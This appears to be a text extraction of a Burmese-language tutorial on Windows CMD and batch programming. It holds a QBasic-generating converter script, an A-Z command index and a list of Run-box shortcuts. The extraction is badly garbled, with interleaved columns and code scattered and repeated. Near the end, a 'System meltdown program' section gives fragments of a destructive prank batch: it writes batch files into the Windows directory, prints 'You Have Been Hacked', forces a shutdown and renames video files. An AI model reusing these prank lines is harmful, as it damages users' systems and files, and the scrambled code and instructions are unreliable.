echo>>proc$.bas a$=b$+"<"+c$:goto a
echo>>proc$.bas qconv:if p=1 then b$="" else b$=left$(a$,p-1)
::======== convert ">" to ">" =========
echo>>proc$.bas p=instr(q,a$,">"):if p=0 goto qend
echo>>proc$.bas b:p=instr(lcase$(a$),">"):if p=0 goto c
echo>>proc$.bas le=len(a$):if p=le then c$="" else c$=right$(a$,le-
echo>>proc$.bas if p=1 then b$="" else b$=left$(a$,p-1)
p)
echo>>proc$.bas le=len(a$)-3:if p=le then c$="" else c$=right$(a$,le-p)

if not %3.==/link. if not %3.==/LINK. goto nolink
echo>>proc$.bas a$=b$+">"+c$:goto b
echo>>proc$.bas d$=mid$(a$,q,p-q):e$=lcase$(d$):r1=0
::======== convert "<" to "<" =========

echo>>proc$.bas r=instr(e$,"http://"):if r=0 then r=instr(e$,"ftp://")
echo>>proc$.bas c:p=instr(lcase$(a$),"<"):if p=0 goto d

echo>>proc$.bas if not(r=0) then r1=instr(r,e$,chr$(34))

echo>>proc$.bas if not(r1=0) then c$="("+mid$(d$,r,r1-r)+") "+c$

:nolink
echo>>proc$.bas a$=b$+"<"+c$:goto c
echo>>proc$.bas a$=b$+c$:q=q-1:goto qloop
::======== convert ">" to ">" =========

echo>>proc$.bas qend:
[Pick the date]
echo>>proc$.bas d:p=instr(lcase$(a$),">"):if p=0 goto e

::======== convert "<" to "<" =========

echo>>proc$.bas a:p=instr(lcase$(a$),"<"):if p=0 goto b

echo>>proc$.bas a$=b$+">"+c$:goto d
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::======== convert " " to " " ========= ::======== convert "&" to "&" =========
echo>>proc$.bas e:p=instr(lcase$(a$)," "):if p=0 goto f echo>>proc$.bas h:p=instr(lcase$(a$),"&"):if p=0 goto i
echo>>proc$.bas if p=1 then b$="" else b$=left$(a$,p-1) echo>>proc$.bas if p=1 then b$="" else b$=left$(a$,p-1)
echo>>proc$.bas le=len(a$)-5:if p=le then c$="" else echo>>proc$.bas le=len(a$)-4:if p=le then c$="" else c$=right$(a$,le-p)
c$=right$(a$,le-p)
echo>>proc$.bas a$=b$+"&"+c$:goto h
echo>>proc$.bas a$=b$+" "+c$:goto e
::======== convert "·" to "·" =========
::======== convert """ to " ===========
echo>>proc$.bas i:p=instr(lcase$(a$),"·"):if p=0 goto wrline
echo>>proc$.bas f:p=instr(lcase$(a$),"""):if p=0 goto g
echo>>proc$.bas le=len(a$)-5:if p=le then c$="" else
echo>>proc$.bas a$=b$+"·"+c$:goto i
c$=right$(a$,le-p)
::======== write line and loop ============

echo>>proc$.bas a$=b$+chr$(34)+c$:goto f
echo>>proc$.bas wrline:print #2,a$:goto floop

::======== convert "&" to "&" =========
::======== done - close up ================

echo>>proc$.bas g:p=instr(lcase$(a$),"&"):if p=0 goto h
[Pick the date]
echo>>proc$.bas closeout:close #1:close #2:system

:: run the qbasic program...

echo>>proc$.bas le=len(a$)-4:if p=le then c$="" else
c$=right$(a$,le-p) qbasic /run proc$.bas
echo>>proc$.bas a$=b$+"&"+c$:goto g del proc$.bas

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if exist %2 echo %2 text file created BOOTCFG Edit Windows boot settings
if not exist %2 echo Something didn't work... BROWSTAT Get domain, browser and PDC info
:done c
နညး့နညး့ေတာံ ေခါငး့ရႈပးသျာ့်ပီထငးတယး။ ဟုတးပါတယး။ ကျ္နးေတားက cmd CACLS Change file permissions

ကိုအသဵု့ခ္်ပီ့ေတာံ batch ကိုပါ မသိရငးမ်ဖစးလို႕ ထညးံေပ့လိုကးရတာပါ။ အခုဆိုရငး
CALL Call one batch program from another•
batch နဲ႕ ကိုယးလိုခ္ငးတဲံ program အေသ့ေလ့တစးခုေလာကးေတာံ ေရ့တတး်ပီလို႕
ေမ္ြားလငးံပါတယး။ CD Change Directory - move to a specific Folder•
အခုေနာကးဆဵု့ cmd အတျကး command မ္ာ့ကို a to z CHANGE Change Terminal Server Session properties
ေဖား်ပေပ့လိက
ု ပ
း ါတယး။
CHKDSK Check Disk - check and repair disk problems
An A-Z Index of the Windows XP command line
CHKNTFS Check the NTFS file system
CHOICE Accept keyboard input to a batch file

ADDUSERS Add or list users to/from a CSV file
CIPHER Encrypt or Decrypt files/folders
ARP Address Resolution Protocol
CleanMgr Automated cleanup of Temp files, recycle bin
ASSOC Change file extension associations•
CLEARMEM Clear memory leaks
ASSOCIAT One step file association
[Pick the date]
CLIP Copy STDIN to the Windows clipboard.

ATTRIB Change file attributes
CLS Clear the screen•
CLUSTER Windows Clustering

b
CMD Start a new CMD shell
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CMDKEY Manage stored usernames/passwords DIR Display a list of files and folders•
COLOR Change colors of the CMD window• DIRUSE Display disk usage
COMP Compare the contents of two files or sets of files DISKCOMP Compare the contents of two floppy disks
COMPACT Compress files or folders on an NTFS partition DISKCOPY Copy the contents of one floppy disk to another
COMPRESS Compress individual files on an NTFS partition DISKPART Disk Administration
CON2PRT Connect or disconnect a Printer DNSSTAT DNS Statistics
CONVERT Convert a FAT drive to NTFS. DOSKEY Edit command line, recall commands, and create macros
COPY Copy one or more files to another location• DSACLs Active Directory ACLs
CSCcmd Client-side caching (Offline Files) DSAdd Add items to active directory (user group computer)
CSVDE Import or Export Active Directory data DSGet View items in active directory (user group computer)
d DSQuery Search for items in active directory (user group

computer)
DATE Display or set the date•
DSMod Modify items in active directory (user group computer)
DEFRAG Defragment hard drive
DSMove Move an Active directory Object
[Pick the date]
DEL Delete one or more files•

DSRM Remove items from Active Directory
DELPROF Delete NT user profiles
e
DELTREE Delete a folder and all subfolders
ECHO Display message on screen•
DevCon Device Manager Command Line Utility
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ENDLOCAL End localisation of environment changes in a FREEDISK Check free disk space (in bytes)
batch file•
FSUTIL File and Volume utilities
ERASE Delete one or more files•
FTP File Transfer Protocol
EVENTCREATE Add a message to the Windows event log
FTYPE Display or modify file types used in file extension
EXIT Quit the current script/routine and set an errorlevel• associations•
EXPAND Uncompress files g
EXTRACT Uncompress CAB files GLOBAL Display membership of global groups
f GOTO Direct a batch program to jump to a labelled line•
FC Compare two files GPUPDATE Update Group Policy settings
FIND Search for a text string in a file h
FINDSTR Search for strings in files HELP Online Help
FOR /F Loop command: against a set of files• i
FOR /F Loop command: against the results of another iCACLS Change file and folder permissions
command•
IF Conditionally perform a command•
[Pick the date]
FOR Loop command: all options Files, Directory, List•

IFMEMBER Is the current user in an NT Workgroup
FORFILES Batch process multiple files
IPCONFIG Configure IP
FORMAT Format a disk
k
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KILL Remove a program from memory MOVE Move files from one folder to another•
l MOVEUSER Move a user from one domain to another
LABEL Edit a disk label MSG Send a message
LOCAL Display membership of local groups MSIEXEC Microsoft Windows Installer
LOGEVENT Write text to the NT event viewer MSINFO Windows NT diagnostics
LOGMAN Manage Performance Monitor MSTSC Terminal Server Connection (Remote Desktop Protocol)
LOGOFF Log a user off MUNGE Find and Replace text within file(s)
LOGTIME Log the date and time in a file MV Copy in-use files
m n
MAPISEND Send email from the command line NET Manage network resources
MBSAcli Baseline Security Analyzer. NETDOM Domain Manager
MEM Display memory usage NETSH Configure Network Interfaces, Windows Firewall &
Remote access
MD Create new folders•
NETSVC Command-line Service Controller
[Pick the date]
MKLINK Create a symbolic link (linkd)

NBTSTAT Display networking statistics (NetBIOS over TCP/IP)
MODE Configure a system device
NETSTAT Display networking statistics (TCP/IP)
MORE Display output, one screen at a time
NOW Display the current Date and Time
MOUNTVOL Manage a volume mount point
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NSLOOKUP Name server lookup PRINT Print a text file
NTBACKUP Backup folders to tape PRINTBRM Print queue Backup/Recovery
NTRIGHTS Edit user account rights PRNCNFG Display, configure or rename a printer
o PRNMNGR Add, delete, list printers set the default printer
OPENFILES Query or display open files PROMPT Change the command prompt•
p PsExec Execute process remotely
PATH Display or set a search path for executable files• PsFile Show files opened remotely
PATHPING Trace route plus network latency and packet loss PsGetSid Display the SID of a computer or a user
PAUSE Suspend processing of a batch file and display a PsInfo List information about a system
message•
PsKill Kill processes by name or process ID
PERMS Show permissions for a user
PsList List detailed information about processes
PERFMON Performance Monitor
PsLoggedOn Who's logged on (locally or via resource sharing)
PING Test a network connection
PsLogList Event log records
POPD Restore the previous value of the current directory
[Pick the date]
PsPasswd Change account password

saved by PUSHD•
PsService View and control services

PORTQRY Display the status of ports and services
PsShutdown Shutdown or reboot a computer

POWERCFG Configure power settings
PsSuspend Suspend processes

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PUSHD Save and then change the current directory• ROUTE Manipulate network routing tables
q RUNAS Execute a program under a different user account
QGREP Search file(s) for lines that match a given pattern. RUNDLL32 Run a DLL command (add/remove print connections)
r s
RASDIAL Manage RAS connections SC Service Control
RASPHONE Manage RAS connections SCHTASKS Schedule a command to run at a specific time
RECOVER Recover a damaged file from a defective disk. SCLIST Display NT Services
REG Registry: Read, Set, Export, Delete keys and values SET Display, set, or remove environment variables•
REGEDIT Import or export registry settings SETLOCAL Control the visibility of environment variables•
REGSVR32 Register or unregister a DLL SETX Set environment variables permanently
REGINI Change Registry Permissions SFC System File Checker
REM Record comments (remarks) in a batch file• SHARE List or edit a file share or print share
REN Rename a file or files• SHIFT Shift the position of replaceable parameters in a batch file•
[Pick the date]
REPLACE Replace or update one file with another SHORTCUT Create a windows shortcut (.LNK file)
RD Delete folder(s)• SHOWGRPS List the NT Workgroups a user has joined
RMTSHARE Share a folder or a printer SHOWMBRS List the Users who are members of a Workgroup
ROBOCOPY Robust File and Folder Copy SHUTDOWN Shutdown the computer
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SLEEP Wait for x seconds TLIST Task list with full path
SLMGR Software Licensing Management (Vista/2008) TOUCH Change file timestamps
SOON Schedule a command to run in the near future TRACERT Trace route to a remote host
SORT Sort input TREE Graphical display of folder structure
START Start a program or command in a separate TYPE Display the contents of a text file•
window•
TypePerf Write performance data to a log file
SU Switch User
u
SUBINACL Edit file and folder Permissions, Ownership and
USRSTAT List domain usernames and last login
Domain
v
SUBST Associate a path with a drive letter
VER Display version information•

SYSTEMINFO List system configuration
VERIFY Verify that files have been saved•

t
VOL Display a disk label•

TASKLIST List running applications and services
w
TASKKILL Remove a running process from memory
[Pick the date]
WHERE Locate and display files in a directory tree

TIME Display or set the system time•
WHOAMI Output the current UserName and domain

TIMEOUT Delay processing of a batch file
WINDIFF Compare the contents of two files or sets of files

TITLE Set the window title for a CMD.EXE session•
WINMSD Windows system diagnostics

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WINMSDP Windows system diagnostics II Accessibility Controls access.cpl

Accessibility Wizard accwiz
WINRM Windows Remote Management
Add Hardware Wizard hdwwiz.cpl

WINRS Windows Remote Shell
Add/Remove Programs appwiz.cpl
WMIC WMI Commands Administrative Tools control admintools
Adobe Acrobat (if installed) acrobat
x Adobe Designer (if installed) acrodist
Adobe Distiller (if installed) acrodist
XCACLS Change file and folder permissions
Adobe ImageReady (if installed) imageready
XCOPY Copy files and folders Adobe Photoshop (if installed) photoshop
:: Comment / Remark• Automatic Updates wuaucpl.cpl

Bluetooth Transfer Wizard fsquirt
Run box တျငးသုဵ့ေသာ Command မ္ာ့ Calculator calc
Certificate Manager certmgr.msc
Character Map charmap
Check Disk Utility chkdsk
Clipboard Viewer clipbrd
Command Prompt cmd
Component Services dcomcnfg
Computer Management compmgmt.msc
[Pick the date]
Control Panel control

Date and Time Properties timedate.cpl
window Logo + R
Run Command မြာ အသုဵ့်ပဳတဲ႔ ှ၅၆ ခုေသာ Command ေလ့မ္ာ့ကို DDE Shares ddeshare
စုစညး့ေဖားၿပလုိကးပါသညး။ Device Manager devmgmt.msc
Direct X Control Panel (If Installed)* directx.cpl
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Direct X Troubleshooter dxdiag Internet Connection Wizard icwconn1

Disk Cleanup Utility cleanmgr Internet Explorer iexplore
Disk Defragment dfrg.msc Internet Properties inetcpl.cpl
Disk Management diskmgmt.msc Internet Setup Wizard inetwiz
Disk Partition Manager diskpart IP Configuration (Display Connection Configuration) ipconfig /all
Display Properties control desktop
Display Properties desk.cpl IP Configuration (Display DNS Cache Contents) ipconfig /displaydns
Display Properties control color
Dr. Watson System Troubleshooting Utility IP Configuration (Delete DNS Cache Contents) ipconfig /flushdns
drwtsn32
Driver Verifier Utility verifier IP Configuration (Release All Connections) ipconfig /release
Event Viewer eventvwr.msc
Files and Settings Transfer Tool migwiz IP Configuration (Renew All Connections) ipconfig /renew
File Signature Verification Tool sigverif
Findfast findfast.cpl IP Configuration (Refreshes DHCP & Re-Registers DNS) ipconfig /registerdns
Firefox (if installed) firefox
Folders Properties control folders IP Configuration (Display DHCP Class ID) ipconfig /showclassid
Fonts control fonts
Fonts Folder fonts IP Configuration (Modifies DHCP Class ID) ipconfig /setclassid
Free Cell Card Game freecell
Game Controllers joy.cpl Java Control Panel (If Installed) jpicpl32.cpl
Group Policy Editor (XP Prof) gpedit.msc Java Control Panel (If Installed) javaws
[Pick the date]
Hearts Card Game mshearts Keyboard Properties control keyboard

Help and Support helpctr Local Security Settings secpol.msc
HyperTerminal hypertrm Local Users and Groups lusrmgr.msc
Iexpress Wizard iexpress Logs You Out Of Windows logoff
Indexing Service ciadv.msc
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Malicious Software Removal Tool mrt Performance Monitor perfmon.msc

Microsoft Access (if installed) access.cpl Performance Monitor perfmon
Microsoft Chat winchat Phone and Modem Options telephon.cpl
Microsoft Excel (if installed) excel Phone Dialer dialer
Microsoft Frontpage (if installed) frontpg Pinball Game pinball
Microsoft Movie Maker moviemk Power Configuration powercfg.cpl
Microsoft Paint mspaint Printers and Faxes control printers
Microsoft Powerpoint (if installed) powerpnt Printers Folder printers
Microsoft Word (if installed) winword Private Character Editor eudcedit
Microsoft Syncronization Tool mobsync Quicktime (If Installed) QuickTime.cpl
Minesweeper Game winmine Quicktime Player (if installed) quicktimeplayer
Mouse Properties control mouse Real Player (if installed) realplay
Mouse Properties main.cpl Regional Settings intl.cpl
Nero (if installed) nero Registry Editor regedit
Netmeeting conf Registry Editor regedit32
Network Connections control netconnections Remote Access Phonebook rasphone
Network Connections ncpa.cpl Remote Desktop mstsc
Network Setup Wizard netsetup.cpl Removable Storage ntmsmgr.msc
Notepad notepad Removable Storage Operator Requests ntmsoprq.msc
Nview Desktop Manager (If Installed) nvtuicpl.cpl Resultant Set of Policy (XP Prof) rsop.msc
Object Packager packager Scanners and Cameras sticpl.cpl
ODBC Data Source Administrator odbccp32.cpl Scheduled Tasks control schedtasks
[Pick the date]
On Screen Keyboard osk Security Center wscui.cpl

Opens AC3 Filter (If Installed) ac3filter.cpl Services services.msc
Outlook Express msimn Shared Folders fsmgmt.msc
Paint pbrush,mspaint Shuts Down Windows shutdown
Password Properties password.cpl Sounds and Audio mmsys.cpl
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Spider Solitare Card Game spider Windows Messenger msmsgs

SQL Client Configuration cliconfg Windows Picture Import Wizard wiaacmgr
System Configuration Editor sysedit Windows System Security Tool syskey
System Configuration Utility msconfig Windows Update Launches wupdmgr
System File Checker Utility (Scan Immediately) sfc /scannow Windows Version winver
System File Checker Utility (Scan Once At Next Boot) sfc /scanonce Windows XP Tour Wizard tourstart
System File Checker Utility (Scan On Every Boot) sfc /scanboot Wordpad write
System File Checker Utility (Return to Default Setting) sfc /revert
အခုဆိုရငး computer ကို ေတားေတားေလ့်မနး်မနးဆနးဆနးသဵု့လို႕ရသျာ့ပါ်ပီ။ လိုအပးသညးံ
System File Checker Utility (Purge File Cache) sfc /purgecache
အၾကဵဥာဏးမ္ာ့ေပ့ပို႕လိုပါက zhangezhaoyun@gmail.com ကို mail ပို႕်ပီ့ ေပ့ႏိုငးပါတယး။
System File Checker Utility (Set Cache Size to size x)
batch programming ကိုစိတွ
း ငးစာ့ပါက စာအုပးမ္ာ့စျာရြိပါတယး။ share လုပးလိုပါက
sfc /cachesize=x
ကျ္နးေတားတို႕ရဲ႕ ဆိုငးမြာ လာေမ့ႏိုငးပါတယး။
System Information msinfo32
System Properties sysdm.cpl zhangezhao
Task Manager taskmgr
Aurora
TCP Tester tcptest
Telnet Client telnet www.groups.google.com\groups\aurorageneration
Tweak UI (if installed) tweakui Reference : Microsoft MS-Dos complete
User Account Management nusrmgr.cpl
: Batch File Programming
Utility Manager utilman
Windows Address Book wab : How to hack your computer
Windows Address Book Import Utility wabmig
Windows Backup Utility (if installed) ntbackup
[Pick the date]
Windows Explorer explorer

Windows Firewall firewall.cpl
Windows Magnifier magnify
Windows Management Infrastructure wmimgmt.msc
Windows Media Player wmplayer
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About CMD

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About CMD

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Pone Yeik Shwe Sar Media group Pone Yeik Shwe Sar Media group

CMD အသဵု့ခ္နညး့ (BASIC)

The Root Directory

တကယးလို႕ကျ္နးေတားတို႕က wallpaper ကို photo ရဲ႕အေပၚကိုထာ့လိုကးရငး Photo က

4 = Red C = Light Red

5 = Purple D = Light Purple

စာလဵု့ႏြစးလဵု့ကိုအသဵု့်ပဳရာတျငး ေရြ႕မြအေရာငးကို background အ်ဖစးအသဵု့်ပဳ်ပီ့

FIG-2 Typing command "ver"

Directory တစးခုရဲ႕ contents ကိုၾကညးံခ္ငးလ္ြငး dir command ကိုအသဵု့်ပဳပါမယး။ အဲဒါကို

FIG-3 Changing background and foreground

1. Change your default background and foreground color of CMD box

အဲဒီကေနထပး်ပီ့ေတာ႕ၾကညး႕ခ္ငးတယးဆိုရငး /w နဲ႕ /p ကိုသဵု့ႏိုငးပါတယး။

1. Type the following at the command prompt:

2. And type the following at the command prompt:

The Directory dir /p

Viewing the Contents of a Directory

To create a directory in different root directory

1. Type a name of root directory which you want. Example: D: or E: and so on

FIG-5 Changing Directories

အခုသငးခနး့စာကေတာံ directory တစးခုကိုတညးေဆာကးတာ ်ဖစးပါတယး။ directory FIG-6 Creating a directory

Deleting a Directory 5. Delete the directory that you created.

Directory တစးခုကိုဖ္ကးလိုရငးေတာ႕အထကးကေဖား်ပထာ့သလို directory

တစးခုရဲ႕တညးေနရာကိုရြာပါ။ ထို႕ေနာကး rd command ကိုအသဵု့်ပဳ်ပီ့ဖ္ကးလုိ႕ရပါတယး။

ဒီေလာကးဆိုရငး directory အပိုငး့ကိုေတားေတားနာ့လညးသျာ့်ပီ့လိို႕ယူဆလိုကးပါတယး။ Copying a single File

Tutorial - 2 Copy D:\Youth\ChitNayTonePae.mpg D:*.*

2. Change your directory path C:\> to D:\>. ေနာကးပဵုစဵတစးမ္ိဳ့ကေတာံ

အဲဒါကေတာံ C: directory ထဲကိုကူ့တာ်ဖစးပါတယး။

NOTE*** : File extension မ္ာ့ကိုခ္နးထာ့လို႕မရပါ။ space ်ခာ့ထာ့ေသာ

Copying a group of files

File ေတျကို group လိုကးကူ့မယးဆိုရငး " * " ကိုသဵု့ပါတယး။

To copy group of txt files from C: to D: FIG-7 Copying a group of files

File ေတျကို replace လုပးဖို႕ကို replace command ကိုသဵု့ပါတယး။ အဲဒါကိုေတာံ အထကးက

အထကးပါ extension မ္ာ့သညး အသဵု့မ္ာ့ေသာ extension မ္ာ့သာ်ဖစးပါတယး။

Deleting a File Moving a File

File ေတျကို delete လုပးဖ႕ို del ကိုသဵု့ပါတယး။ ေစာေစာက rename လုပးခံတ

Deleting a Group of Files Making hidden files

File ေတျကို group လိုကးဖ္ကးဖ႕ို copy ကူ့သလိုပဲ " * " ကိုပဲသဵု့ပါတယး။

To make a hidden folder in D:

4. And change directory to C:\the first created folder name Tutorial - 3

System commands FIG-8 Formatting a drive

Formatting the drive

FIG-9 Updating the system date

Viewing information about character sets

Use the command : mode

အထကးေဖား်ပပါ command မ္ာ့ကိုအသဵု့်ပဳခဲံတာ ေတားေတားေလ့

ဘယးလိုအေသ့စိတးလုပးရလဲဆိုတာသိခ္ငးရငး help chkdsk ကိုသဵု့်ပီ့ cmd

Window installer ကိုၾကညးံခ္ငးရငးတာံ msiexec ကိုသဵု့ပါတယး။ ဘာလို႕လဲဆိုေတာံ software

Creating txt file

ေတျကို command ထဲမြာဖျငးံ ်ပီ့်ပငးႏိုငးေအာငးလို႕ပါ။ edit command နဲ႕တျသ

Viewing the process of task manager

သူရ႕ဲ သဵု့ပဵုက္လာပါလိမးံမယး။ ကျ္နးေတားတို႕ကေတာံ shutdown လုပးဖ႕ို ကို shutdown -s

Opening Remote Desktop Connection tool

ကျ္နးေတားတို႕ဟာ remote desktop connection tool ကိုေခၚဖို႕ရာကို mstsc

command: mstsc Batch File Programming (မိတးဆကး)

Shutting down your computer

တစးခုကို ရြာရခကးတဲံ ေနရာ မြာထာ့မယး။ အဲဒီ file ကို ်ပနးလဲမရြာခ္ငးဘူ့။ ဒါမ္ိဳ့ဆိုရငး

startmenu\allprograms\accessories\notepad.exe ကေန ဖျငမ

လုိ႕ရိုကးလိုကးမယးေပါံ။ ်ပီ့ေတာံ ကျ္နးေတားတို႕ဟာ notepad ကို save လုပးပါမယး။

ေအာကးပါပဵုကေတာံ .bat နဲ႕ save လုပးပဵုကို ်ပထာ့တာပါ။ C:\windows\temp ထဲမြ ဖိုငး့မ္ာ့ရြငး့ၿပီ့သာ့်ဖစးသျာ့ပါမယး။

ECHO Now we go to the Windows\temp directory.

System meltdown program

Make to shutdown your computer echo @echo off>c:windowshartlell.bat

echo break off>>c:windowshartlell.bat

echo You Have Been Hackedecho @echo off>c:windowswimn32.bat

Tutorial - 2 Copy D:\Youth\ChitNayTonePae.mpg D:.

REN .AVI .TXT if not exist %2 goto done

::======== convert "<" to "<" =========

echo>>proc$.bas c:p=instr(lcase$(a$),"<"):if p=0 goto d

::======== convert ">" to ">" =========

echo>>proc$.bas d:p=instr(lcase$(a$),">"):if p=0 goto e

echo>>proc$.bas e:p=instr(lcase$(a$)," "):if p=0 goto f echo>>proc$.bas h:p=instr(lcase$(a$),"&"):if p=0 goto i